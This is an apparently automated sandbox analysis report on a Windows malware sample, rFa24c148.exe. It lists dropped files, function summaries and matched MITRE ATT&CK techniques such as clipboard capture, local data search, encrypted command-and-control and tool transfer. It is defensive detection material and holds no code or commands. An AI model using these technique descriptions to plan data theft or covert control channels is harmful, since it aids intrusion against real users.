C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\Pjaskeriers.fra

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\akvarierne.lbe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\cornetcies.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\dmt.roi

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\hisset.tjr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\juleriernes.lia

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\matematikopgavens.sti

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\rygmarvsprvens.Beg

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\gunrack\Iglus237\unsealer\tipssensationens.hve

C:\Users\user\AppData\Local\Temp\nsnA538.tmp\System.dll

Static File Info

General

File Icon

Windows Analysis Report
rFa24c148.exe

Function 004031FF Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Function 00405160 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Function 00405D99 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 207
stringCOMMON

Function 004055FF Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Function 00403741 Relevance: 49.2, APIs: 15, Strings: 13, Instructions: 216
stringregistrylibraryCOMMON

Function 00403AE4 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 00402D69 Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401752 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00405021 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 00402FA2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 00402331 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 004015B9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57
COMMON

Function 00402B7A Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Function 10001771 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00401BCA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76
windowtimeCOMMON

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre